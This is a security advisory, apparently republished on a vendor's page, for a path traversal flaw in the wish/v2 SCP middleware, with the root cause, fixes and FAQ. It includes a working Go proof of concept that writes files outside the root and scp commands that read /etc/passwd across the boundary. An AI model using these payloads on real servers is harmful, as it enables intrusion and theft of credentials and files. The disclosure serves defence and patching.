Summary
The SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol.
Affected Versions
charm.land/wish/v2, all versions through commit72d67e6(currentmain)github.com/charmbracelet/wish, likely all v1 versions (same code pattern)
Details
Root Cause
The fileSystemHandler.prefixed() method in scp/filesystem.go:42-48 is intended to confine all file operations to a configured root directory. However, it fails to validate that the resolved path remains within the root:
func (h *fileSystemHandler) prefixed(path string) string {
path = filepath.Clean(path)
if strings.HasPrefix(path, h.root) {
return path
}
return filepath.Join(h.root, path)
}
When path contains ../ components, filepath.Clean resolves them but does not reject them. The subsequent filepath.Join(h.root, path) produces a path that escapes the root directory.
Attack Vector 1: Arbitrary File Write (scp -t)
When receiving files from a client (scp -t), filenames are parsed from the SCP protocol wire using regexes that accept arbitrary strings:
reNewFile = regexp.MustCompile(`^C(\d{4}) (\d+) (.*)$`)
reNewFolder = regexp.MustCompile(`^D(\d{4}) 0 (.*)$`)
The captured filename is used directly in filepath.Join(path, name) without sanitization (scp/copy_from_client.go:90,140), then passed to fileSystemHandler.Write() and fileSystemHandler.Mkdir(), which call prefixed(), allowing the attacker to write files and create directories anywhere on the filesystem.
Attack Vector 2: Arbitrary File Read (scp -f)
When sending files to a client (scp -f), the requested path comes from the SSH command arguments (scp/scp.go:284). This path is passed to handler.Glob(), handler.NewFileEntry(), and handler.NewDirEntry(), all of which call prefixed(), allowing the attacker to read any file accessible to the server process.
Attack Vector 3: File Enumeration via Glob
The Glob method passes user input containing glob metacharacters (*, ?, [) to filepath.Glob after prefixed(), enabling enumeration of files outside the root.
Proof of Concept
All three vectors were validated with end-to-end integration tests against a real SSH server using the public wish and scp APIs.
Vulnerable Server
Any server using scp.NewFileSystemHandler with scp.Middleware is affected. This is the pattern shown in the official examples/scp example:
package main
import (
"net"
"charm.land/wish/v2"
"charm.land/wish/v2/scp"
"github.com/charmbracelet/ssh"
)
func main() {
handler := scp.NewFileSystemHandler("/srv/data")
s, _ := wish.NewServer(
wish.WithAddress(net.JoinHostPort("0.0.0.0", "2222")),
wish.WithMiddleware(scp.Middleware(handler, handler)),
// Default: accepts all connections (no auth configured)
)
s.ListenAndServe()
}
Write Traversal, Write arbitrary files outside /srv/data
An attacker crafts SCP protocol messages with ../ in the filename. This can be done with a custom SCP client or by sending raw bytes over an SSH channel. The following Go program connects to the vulnerable server and writes a file to /tmp/pwned:
package main
import (
"fmt"
"os"
gossh "golang.org/x/crypto/ssh"
)
func main() {
config := &gossh.ClientConfig{
User: "attacker",
Auth: []gossh.AuthMethod{gossh.Password("anything")},
HostKeyCallback: gossh.InsecureIgnoreHostKey(),
}
client, _ := gossh.Dial("tcp", "target:2222", config)
session, _ := client.NewSession()
// Pipe crafted SCP protocol data into stdin
stdin, _ := session.StdinPipe()
go func() {
// Wait for server's NULL ack, then send traversal payload
buf := make([]byte, 1)
session.Stdout.(interface{ Read([]byte) (int, error) }) // read ack
// File header with traversal: writes to /tmp/pwned (escaping /srv/data)
fmt.Fprintf(stdin, "C0644 12 ../../../tmp/pwned\n")
// Wait for ack
stdin.Write([]byte("hello world\n"))
stdin.Write([]byte{0}) // NULL terminator
stdin.Close()
}()
// Tell the server we're uploading to "."
session.Run("scp -t .")
}
Or equivalently using standard scp with a symlink trick, or by patching the openssh scp client to send a crafted filename.
Read Traversal, Read arbitrary files outside /srv/data
No custom tooling needed. Standard scp passes the path directly:
# Read /etc/passwd from a server whose SCP root is /srv/data
scp -P 2222 attacker@target:../../../etc/passwd ./stolen_passwd
The server resolves ../../../etc/passwd through prefixed():
filepath.Clean("../../../etc/passwd")→"../../../etc/passwd"- Not prefixed with
/srv/data, so:filepath.Join("/srv/data", "../../../etc/passwd")→"/etc/passwd" - File contents of
/etc/passwdare sent to the attacker.
Glob Traversal, Enumerate and read files outside /srv/data
scp -P 2222 attacker@target:'../../../etc/pass*' ./
Validated Test Output
These were confirmed with integration tests using wish.NewServer, scp.Middleware, and scp.NewFileSystemHandler against temp directories. The tests created a root directory and a sibling "secret" directory, then verified files were read/written across the boundary:
=== RUN TestPathTraversalWrite
PATH TRAVERSAL CONFIRMED: file written to ".../secret/pwned" (outside root ".../scproot")
--- FAIL: TestPathTraversalWrite
=== RUN TestPathTraversalWriteRecursiveDir
PATH TRAVERSAL CONFIRMED: directory created at ".../evil_dir" (outside root ".../scproot")
PATH TRAVERSAL CONFIRMED: file written to ".../evil_dir/payload" (outside root ".../scproot")
--- FAIL: TestPathTraversalWriteRecursiveDir
=== RUN TestPathTraversalRead
PATH TRAVERSAL CONFIRMED: read file outside root, got content: "...super-secret-password..."
--- FAIL: TestPathTraversalRead
=== RUN TestPathTraversalGlob
PATH TRAVERSAL VIA GLOB CONFIRMED: read file outside root, got content: "...super-secret-password..."
--- FAIL: TestPathTraversalGlob
Tests used the real SSH handshake via golang.org/x/crypto/ssh, real SCP protocol parsing, and real filesystem operations, confirming the vulnerability is exploitable end-to-end.
Fix prefixed() to enforce root containment
func (h *fileSystemHandler) prefixed(path string) (string, error) {
// Force path to be relative by prepending /
joined := filepath.Join(h.root, filepath.Clean("/"+path))
// Verify the result is still within root
if !strings.HasPrefix(joined, h.root+string(filepath.Separator)) && joined != h.root {
return "", fmt.Errorf("path traversal detected: %q resolves outside root", path)
}
return joined, nil
}
Sanitize filenames in copy_from_client.go
SCP filenames should never contain path separators or .. components:
name := match[3] // or matches[0][2] for directories
if strings.ContainsAny(name, "/\\") || name == ".." || name == "." {
return fmt.Errorf("invalid filename: %q", name)
}
Validate info.Path in GetInfo or at the middleware entry point
info.Path = filepath.Clean("/" + info.Path)
Credit
Evan MORVAN (evnsh), [email protected] (Research)
Claude Haiku (formatting the report)
Impact
An authenticated SSH user can:
- Write arbitrary files anywhere on the filesystem the server process can write to, leading to remote code execution via cron jobs, SSH
authorized_keys, shell profiles, or systemd units. - Read arbitrary files accessible to the server process, including
/etc/shadow, private keys, database credentials, and application secrets. - Create arbitrary directories on the filesystem.
- Enumerate files outside the root via glob patterns.
If the server uses the default authentication configuration (which accepts all connections, see wish.go:19), these attacks are exploitable by unauthenticated remote attackers.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-41589 has a CVSS score of 9.6 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-41589? CVE-2026-41589 is a critical-severity path traversal vulnerability in charm.land/wish/v2 (go), affecting versions < 2.0.1. It is fixed in 2.0.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-41589? CVE-2026-41589 has a CVSS score of 9.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-41589?
charm.land/wish/v2(go) (versions < 2.0.1)github.com/charmbracelet/wish(go) (versions <= 1.4.7)
- Is there a fix for CVE-2026-41589? Yes. CVE-2026-41589 is fixed in 2.0.1. Upgrade to this version or later.
- Is CVE-2026-41589 exploitable, and should I be worried? Whether CVE-2026-41589 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-41589 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-41589? Upgrade
charm.land/wish/v2to 2.0.1 or later.